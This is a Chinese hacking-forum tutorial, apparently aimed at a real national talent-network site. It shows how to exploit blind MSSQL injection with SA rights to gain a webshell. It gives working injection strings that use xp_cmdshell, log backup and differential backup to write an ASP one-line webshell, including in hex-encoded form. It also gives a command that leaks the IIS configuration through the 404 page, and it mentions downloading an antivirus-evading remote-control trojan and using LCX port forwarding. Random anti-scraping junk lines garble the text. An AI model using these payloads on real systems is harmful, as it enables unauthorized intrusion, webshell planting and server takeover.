sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

7 Y* y( ~) T3 {- y6 @$ D* n, J- ^' W
                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
* u' y# d+ j) _0 D
5 i: B$ o& }+ Y2 [. B% i: U. l                                                                 
                                                                 
                                                                  论坛： http://www.90team.net/
1 A* I8 S, [& }0 z! q) n4 C& I
. g7 u( E! O, D6 G7 Z6 \

友情检测国家人才网
- R! V4 X+ h! A9 T4 ]; {

$ w# K: }, B; F% ]内容：MSSQL注入SA权限不显错模式下的入侵
' e, V3 }7 j& w" t1 L2 H+ N( q. i- }

* I4 Z" `  j4 J! o一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

$ e, s( }- }$ \% z$ j9 E我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：
- F3 B7 ~! g- b. ^: n8 R2 C3 K
首先：
# g1 P9 N5 h, X" T& n1 V
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

0 p" `! x8 O2 m- x1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。

5.直接下载LCX将服务器端口转发出来

; S5 {) \) i8 I6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
* P8 l6 k8 k2 q5 w$ i% Q


在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
+ Q! C$ p2 I1 m& W
我直接演示后面一个方法
9 c3 X; {! Y' W+ h; t, y
! N: `& b  T: F1 C4 ~# e7 a
$ u7 ^5 L" g( `* e分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
# n6 C4 F% t, E" J/ D9 j2 z2 K

) c* b* \* N  E! I1 G

" T. Y) }. c7 X  j◆日志备份：
4 L% O# H( U  i$ Y' d) l# i

& K: ~$ T- U( g9 g" O1. 进行初始备份
1 K. s0 J/ J# r1 [# M) L; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
0 k- o8 p& k% i! W; s$ d
2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
* G+ Y+ n- \; }# l, Y' u$ A3. 备份并获得文件，删除临时表
  P3 O+ z; ]  E3 \4 D;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
+ {- |+ e+ x, Q

0 l9 ?- `* U, ^  ?: e5 ~% z
◆数据库差异备份
9 H( X; F% y" ]7 e  T& `8 y" ]0 ?) q
（1. 进行差异备份准备工作
! B* i: o+ J' P# v
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

7 y  o+ t( p/ q9 |% v, c
（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
1 [0 j% ?. Q+ r4 G3 u# x
5 r$ Z/ h& @/ ^; G* r' F0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

( @  O7 I0 V4 r0 e3 Z' |3. 备份数据库并清理临时文件
( i# f% V8 i8 i5 h
# f: F5 m/ N% s6 W6 b, L9 k;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
; ~5 S* V3 C& S0 `
1 k. j8 I% S# `
& H1 K4 k  |1 c- p( Y
用^转义字符来写ASP(一句话木马)文件的方法:   
1 w' ~* u: E5 A$ Z0 n2 E
( m* o5 U2 l2 ~# s7 w  @1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
6 b% \5 p+ ], Z3 Z1 x) g& }+ c! c
, j! L+ ~$ |6 r7 v读取IIS配置信息获取web路径
" }( M0 _4 i2 m+ L' u* V) v
. I2 W$ P' K& v7 h- z8 W* e     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
; B) P) n4 a# K. p2 p+ T- U; p( P
执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--


$ \3 t0 Z$ \4 M" y" i2 C

+ {# v- W* G$ D# Y
6 h# |0 E. R$ s# d9 c






4 ]9 A1 H% n; N2 }
' P+ x6 I$ [5 ?


+ s& I! o# D3 _

5 t& F- n- i; n( e+ v

" d/ n7 n. r" d5 F  [* j

% g( f* F3 a. L: I/ I- G: S





6 _# r0 c# E/ G
; u( j; t/ P+ G$ t
: h$ A  w* W/ s2 _

! s& Y4 e7 I/ H7 C; }8 {6 i
. p7 L9 n) h' T* P) u# Q

% F+ y8 Q! n6 E
* a$ g; V7 Z8 r7 C) P; g) T' Y4 a
( [  ~+ d5 B4 y7 l5 U& P* \

8 K6 S. W4 i9 L' J% {  ?
" @. ?' K. t- A7 P4 K
  V8 Z5 X* E- J% N9 S6 }


) Z5 ^7 T% x" ~, H
% {  e3 x+ ^# H/ C
( L' [% @7 Q. ^  L  |

6 o! E3 a% E2 m3 q+ i